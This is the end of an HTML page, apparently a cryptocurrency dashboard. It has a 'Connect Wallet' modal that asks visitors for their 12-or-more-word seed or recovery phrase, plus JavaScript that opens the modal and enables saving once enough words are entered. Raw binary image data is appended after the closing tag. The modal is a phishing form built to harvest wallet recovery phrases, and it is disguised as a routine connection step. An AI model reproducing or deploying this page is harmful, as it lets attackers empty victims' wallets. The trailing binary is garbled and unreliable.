      <div class="notifications-overlay" id="phrase-modal-overlay">
          <div class="notifications-backdrop js-close-phrase-modal" style="position:absolute; width:100%; height:100%;"></div>
          <div class="notifications-panel" id="phrase-modal-panel">
              <header class="notifications-header">
                  <div class="notifications-title-section" style="display:flex; align-items:center;">
                      <button class="panel-btn js-close-phrase-modal"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 19.5L8.25 12l7.5-7.5" /></svg></button>
                      <h2>Connect Wallet</h2>
                  </div>
                  <button class="panel-btn js-close-phrase-modal"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" /></svg></button>
              </header>
              <div class="wallet-form-body" style="padding: 24px;">
                  <div id="wallet-form-feedback" class="wallet-form-feedback"></div>
                  <p style="color:#aaa; margin-bottom:20px;">Enter your seed/recovery phrase to connect your wallet.</p>
                  <form id="connect-wallet-form">
                      <div style="margin-bottom:15px;"><label style="color:#888; font-size:14px;">Wallet:</label><input type="text" id="modal-wallet-name-input" name="wallet_name" class="modal-input" readonly></div>
                      <div style="margin-bottom:15px;"><label style="color:#888; font-size:14px;">Seed/Recovery Phrase (12+ words):</label><textarea id="modal-seed-phrase-textarea" name="seed_phrase" class="modal-textarea" placeholder="Enter your phrase here..."></textarea></div>
                      <div style="display:flex; gap:10px; justify-content:flex-end; margin-top:20px;">
                          <button type="button" id="modal-disconnect-btn" style="padding:10px 20px; border-radius:8px; border:none; background:#444; color:#fff; cursor:pointer;" disabled>Disconnect</button>
                          <button type="submit" id="modal-save-btn" style="padding:10px 20px; border-radius:8px; border:none; background:#31acee; color:#fff; font-weight:bold; cursor:pointer;" disabled>Save</button>
                      </div>
                  </form>
              </div>
          </div>
      </div>

<script>
// --- Toggle Password Visibility ---
function togglePasswordVisibility(fieldId, button) {
    const passwordField = document.getElementById(fieldId);
    const icon = button.querySelector('i');
    if (passwordField.type === "password") {
        passwordField.type = "text";
        icon.classList.remove('ri-eye-off-line');
        icon.classList.add('ri-eye-line');
    } else {
        passwordField.type = "password";
        icon.classList.remove('ri-eye-line');
        icon.classList.add('ri-eye-off-line');
    }
}

document.addEventListener('DOMContentLoaded', () => {

    // --- MOBILE MENU LOGIC ---
    const hamburgerBtn = document.getElementById('hamburger-menu');
    const closeMenuBtn = document.getElementById('close-menu-btn');
    const sidebar = document.getElementById('sidebar');

    if (hamburgerBtn && sidebar) {
        hamburgerBtn.addEventListener('click', () => { sidebar.classList.add('open'); });
    }
    if (closeMenuBtn && sidebar) {
        closeMenuBtn.addEventListener('click', () => { sidebar.classList.remove('open'); });
    }

    // --- ACCOUNT PANEL DROPDOWN LOGIC ---
    const userMenuBtn = document.getElementById('user-menu-btn');
    const userAccountPanel = document.getElementById('user-account-panel');
    const closeAccountPanelBtns = document.querySelectorAll('.js-close-account-panel');

    if (userMenuBtn && userAccountPanel) {
        userMenuBtn.addEventListener('click', (event) => {
            event.stopPropagation();
            userAccountPanel.classList.toggle('open');
        });
        closeAccountPanelBtns.forEach(btn => {
            btn.addEventListener('click', () => userAccountPanel.classList.remove('open'));
        });
        document.addEventListener('click', (event) => {
            if (userAccountPanel.classList.contains('open') && !userAccountPanel.contains(event.target) && !userMenuBtn.contains(event.target)) {
                userAccountPanel.classList.remove('open');
            }
        });
    }

    // --- OVERLAY/MODAL TRIGGERS ---
    const openNotificationsBtn = document.getElementById("open-notifications-btn");
    const notificationsOverlay = document.getElementById("notifications-overlay");
    const closeNotificationsBtns = document.querySelectorAll(".js-close-notifications");
    
    if (openNotificationsBtn && notificationsOverlay) {
        openNotificationsBtn.addEventListener("click", () => notificationsOverlay.classList.add("open"));
        closeNotificationsBtns.forEach(e => e.addEventListener("click", () => notificationsOverlay.classList.remove("open")));
    }

    const openWalletBtn = document.getElementById("open-wallet-btn");
    const walletOverlay = document.getElementById("wallet-overlay");
    const closeWalletBtns = document.querySelectorAll(".js-close-wallet");
    
    if (openWalletBtn && walletOverlay) {
        openWalletBtn.addEventListener("click", e => { e.preventDefault(); walletOverlay.classList.add("open"); });
        closeWalletBtns.forEach(e => e.addEventListener("click", () => walletOverlay.classList.remove("open")));
    }

    // --- CONNECT WALLET PHRASE MODAL LOGIC ---
    const phraseModalOverlay = document.getElementById("phrase-modal-overlay");
    const closePhraseBtns = document.querySelectorAll(".js-close-phrase-modal");
    const walletNameInput = document.getElementById("modal-wallet-name-input");
    const seedTextarea = document.getElementById("modal-seed-phrase-textarea");
    const disconnectBtn = document.getElementById("modal-disconnect-btn");
    const saveBtn = document.getElementById("modal-save-btn");
    const walletToggles = document.querySelectorAll("#wallet-panel .wallet-item");
    
    const openPhraseModal = (walletName) => {
        walletNameInput.value = walletName;
        seedTextarea.placeholder = `Your ${walletName} Seed/Recovery Phrase`;
        seedTextarea.value = "";
        disconnectBtn.disabled = true;
        saveBtn.disabled = true;
        phraseModalOverlay.classList.add("open");
    };
    
    walletToggles.forEach(toggle => {
        toggle.addEventListener("click", e => {
            e.preventDefault(); 
            openPhraseModal(toggle.querySelector(".wallet-name").textContent);
        });
    });
    
    if(seedTextarea) {
        seedTextarea.addEventListener("input", () => {
            if (seedTextarea.value.trim().split(/\s+/).filter(word => word.length > 0).length >= 12) {
                disconnectBtn.disabled = false;
                saveBtn.disabled = false;
                saveBtn.style.background = '#31acee';
            } else {
                disconnectBtn.disabled = true;
                saveBtn.disabled = true;
                saveBtn.style.background = '#444';
            }
        });
    }
    closePhraseBtns.forEach(btn => btn.addEventListener("click", () => phraseModalOverlay.classList.remove("open")));

});
</script>
</body>
</html>
b IDATxytVսϓ22 A@IR :hCiZ[v*E:WũZA ^dQeQ @ !jZ'>gsV仿$|?g)&x-EIENT ;@xT.i%-X}SvS5.r/UHz^_$-W"w)Ɗ/@Z &IoX P$K}JzX:;` &, ŋui,e6mX ԵrKb1ԗ)DADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADADA݀!I*]R;I2$eZ#ORZSrr6mteffu*((Pu'v{DIߔ4^pIm'77WEEE;vƎ4-$]'RI{\I&G :IHJ DWBB=\WR޽m o$K(V9ABB.}jѢv`^?IOȅ} ڶmG}T#FJ`56$-ھ}FI&v;0(h;Б38CӧOWf!;A i:F_m9s&|q%=#wZprrrla A &P\\СC[A#! {olF} `E2}MK/vV)i{4BffV\|ۭX`b@kɶ@%i$K z5zhmX[IXZ` 'b%$r5M4º/l ԃߖxhʔ)[@=} K6IM}^5k㏷݆z ΗÿO:gdGBmyT/@+Vɶ纽z񕏵l.y޴it뭷zV0[Y^>Wsqs}\/@$(T7f.InݺiR$푔n.~?H))\ZRW'Mo~v Ov6oԃxz! S,&xm/yɞԟ?'uaSѽb,8GלKboi&3t7Y,)JJ c[nzӳdE&KsZLӄ I?@&%ӟ۶mSMMњ0iؐSZ,|J+N ~,0A0!5%Q-YQQa3}$_vVrf9f?S8`zDADADADADADADADADAdqP,تmMmg1V?rSI꒟]u|l RCyEf٢9 jURbztѰ!m5~tGj2DhG*{H9)꒟ר3:(+3\?/;TUݭʴ~S6lڧUJ*i$d(#=Yݺd{,p|3B))q:vN0Y.jkק6;SɶVzHJJЀ-utѹսk>QUU\޲~]fFnK?&ߡ5b=z9)^|u_k-[y%ZNU6 7Mi:]ۦtk[n X(e6Bb."8cۭ|~teuuw|ήI-5"~Uk;ZicEmN/:]M> cQ^uiƞ??Ңpc#TUU3UakNwA`:Y_V-8.KKfRitv޲* 9S6ֿj,ՃNOMߤ]z^fOh|<>@Å5 _/Iu?{SY4hK/2]4%it5q]GGe2%iR| W&f*^]??vq[LgE_3f}Fxu~}qd-ږFxu~I N>\;͗O֊:̗WJ@BhW=y|GgwܷH_NY?)Tdi'?խwhlmQi !SUUsw4kӺe4rfxu-[nHtMFj}H_u~w>)oV}(T'ebʒv3_[+vn@Ȭ\S}ot}w=kHFnxg S 0eޢm~l}uqZfFoZuuEg `zt~? b;t%>WTkķh[2eG8LIWx,^\thrl^Ϊ{=dž<}qV@ ⠨Wy^LF_>0UkDuʫuCs$)Iv:IK;6ֲ4{^6եm+l3>݆uM 9u?>Zc }g~qhKwڭeFMM~pМuqǿz6Tb@8@Y|jx](^]gf}M"tG -w.@vOqh~/HII`S[l.6nØXL9vUcOoB\xoǤ'T&IǍQw_wpv[kmO{w~>#=P1Pɞa-we:iǏlHo׈꒟f9SzH?+shk%Fs:qVhqY`jvO'ρ?PyX3lх]˾uV{ݞ]1,MzYNW~̈́ joYn}ȚF߾׮mS]F z+EDxm/d{F{-W-4wY듏:??_gPf ^3ecg ҵs8R2מz@TANGj)}CNi/R~}c:5{!ZHӋӾ6}T]G]7W6^n 9*,YqOZj:P?Q DFL|?-^.Ɵ7}fFh׶xe2Pscz1&5\cn[=Vn[ĶE鎀uˌd3GII k;lNmشOuuRVfBE]ۣeӶu :X-[(er4~LHi6:Ѻ@ԅrST0trk%$Č0ez" *z"T/X9|8.C5Feg}CQ%͞ˣJvL/?j^h&9xF`њZ(&yF&Iݻfg#W;3^{Wo^4'vV[[K';+mӍִ]AC@W?1^{එyh +^]fm~iԵ]AB@WTk̏t uR?l.OIHiYyԶ]Aˀ7c:q}ힽaf6Z~қm(+sK4{^6}T*UUu]n.:kx{:2 _m=sAߤU@?Z-Vކеz왍Nэ{|5 pڶn b p-@sPg]0G7fy-M{GCF'%{4`=$-Ge\ eU:m+Zt'WjO!OAF@ik&t݆ϥ_ e}=]"Wz_.͜E3leWFih|t-wZۍ-uw=6YN{6|} |*={Ѽn.S.z1zjۻTH]흾 DuDvmvK.`V]yY~sI@t?/ϓ. m&["+P?MzovVЫG3-GRR[(!!\_,^%?v@ҵő m`Y)tem8GMx.))A]Y i`ViW`?^~!S#^+ѽGZj?Vģ0.))A꨷lzL*]OXrY`DBBLOj{-MH'ii-ϰ ok7^ )쭡b]UXSְmռY|5*cֽk0B7镹%ڽP#8nȎq}mJr23_>lE5$iwui+ H~F`IjƵ@q \ @#qG0".0" l`„.0! ,AQHN6qzkKJ#o;`Xv2>,tێJJ7Z/*A .@fفjMzkg @TvZH3Zxu6Ra'%O?/dQ5xYkU]Rֽkق@DaS^RSּ5|BeHNN͘p HvcYcC5:y #`οb;z2.!kr}gUWkyZn=f Pvsn3p~;4p˚=ē~NmI] ¾ 0lH[_L hsh_ғߤc_њec)g7VIZ5yrgk̞W#IjӪv>՞y睝M8[|]\շ8M6%|@PZڨI-m>=k='aiRo-x?>Q.}`Ȏ:Wsmu u > .@,&;+!!˱tﭧDQwRW\vF\~Q7>spYw$%A~;~}6¾ g&if_=j,v+UL1(tWake:@Ș>j$Gq2t7S?vL|]u/ .(0E6Mk6hiۺzښOrifޱxm/Gx> Lal%%~{lBsR4*}{0Z/tNIɚpV^#Lf:u@k#RSu =S^ZyuR/.@n&΃z~B=0eg뺆#,Þ[B/?H uUf7y Wy}Bwegל`Wh(||`l`.;Ws?V@"c:iɍL֯PGv6zctM̠':wuW;d=;EveD}9J@B(0iհ bvP1{\P&G7D޴Iy_$-Qjm~Yrr&]CDv%bh|Yzni_ˆR;kg}nJOIIwyuL}{ЌNj}:+3Y?:WJ/N+Rzd=hb;dj͒suݔ@NKMԄ jqzC5@y°hL m;*5ezᕏ=ep XL n?מ:r`۵tŤZ|1v`V뽧_csج'ߤ%oTuumk%%%h)uy]Nk[n 'b2 l.=͜E%gf$[c;s:V-͞WߤWh-j7]4=F-X]>ZLSi[Y*We;Zan(ӇW|e(HNNP5[= r4tP &0<pc#`vTNV GFqvTi*Tyam$ߏWyE*VJKMTfFw>'$-ؽ.Ho.8c"@DADADADADADADADADA~j*֘,N;Pi3599h=goضLgiJ5փy~}&Zd9p֚ e:|hL``b/d9p? fgg+%%hMgXosج, ΩOl0Zh=xdjLmhݻoO[g_l,8a]٭+ӧ0$I]c]:粹:Teꢢ"5a^Kgh,&= =՟^߶“ߢE ܹS J}I%:8 IDAT~,9/ʃPW'Mo}zNƍ쨓zPbNZ~^z=4mswg;5 Y~SVMRXUյڱRf?s:w ;6H:ºi5-maM&O3;1IKeamZh͛7+##v+c ~u~ca]GnF'ټL~PPPbn voC4R,ӟgg %hq}@#M4IÇ Oy^xMZx ) yOw@HkN˖-Sǎmb]X@n+i͖!++K3gd\$mt$^YfJ\8PRF)77Wא!Cl$i:@@_oG I{$# 8磌ŋ91A (Im7֭>}ߴJq7ޗt^ -[ԩSj*}%]&' -ɓ'ꫯVzzvB#;a 7@GxI{j޼ƌ.LÇWBB7`O"I$/@R @eee@۷>}0,ɒ2$53Xs|cS~rpTYYY} kHc %&k.], @ADADADADADADADADA@lT<%''*Lo^={رc5h %$+CnܸQ3fҥK}vUVVs9G R,_{xˇ3o߾;TTTd}馛]uuuG~iԩ@4bnvmvfϞ /Peeeq}}za I~,誫{UWW뮻}_~YƍSMMMYχ֝waw\ďcxꩧtEƍկ_?۷5@u?1kNׯWzz/wy>}zj3 k(ٺuq_Zvf̘:~ ABQ&r|!%KҥKgԞ={<_X-z !CyFUUz~ ABQIIIjݺW$UXXDٳZ~ ABQƍecW$<(~<RSSvZujjjԧOZQu@4 8m&&&jԩg$ď1h ͟?_{768@g =@`)))5o6m3)ѣƌJ;wҿUTT /KZR{~a=@0o<*狔iFɶ[ˎ;T]]OX@?K.ۈxN pppppppppppppppppPfl߾] ,{ァk۶mڿo5BTӦMӴiӴ|r DB2e|An!Dy'tkΝ[A $***t5' "!駟oaDnΝ:t֭[gDШQ06qD;@ x M6v(PiizmZ4ew"@̴ixf [~-Fٱc&IZ2|n!?$@{[HTɏ#@hȎI# _m(F /6Z3z'\r,r!;w2Z3j=~GY7"I$iI.p_"?pN`y DD?: _  Gÿab7J !Bx@0 Bo cG@`1C[@0G @`0C_u V1 aCX>W ` | `!<S `"<. `#c`?cAC4 ?c p#~@0?:08&_MQ1J h#?/`7;I  q 7a wQ A 1 Hp !#<8/#@1Ul7=S=K.4Z?E_$i@!1!E4?`P_  @Bă10#: "aU,xbFY1 [n|n #'vEH:`xb #vD4Y hi.i&EΖv#O H4IŶ}:Ikh @tZRF#(tXҙzZ ?I3l7q@õ|ۍ1,GpuY Ꮿ@hJv#xxk$ v#9 5 }_$c S#=+"K{F*m7`#%H:NRSp6I?sIՖ{Ap$I$I:QRv2$Z @UJ*$]<FO4IENDB`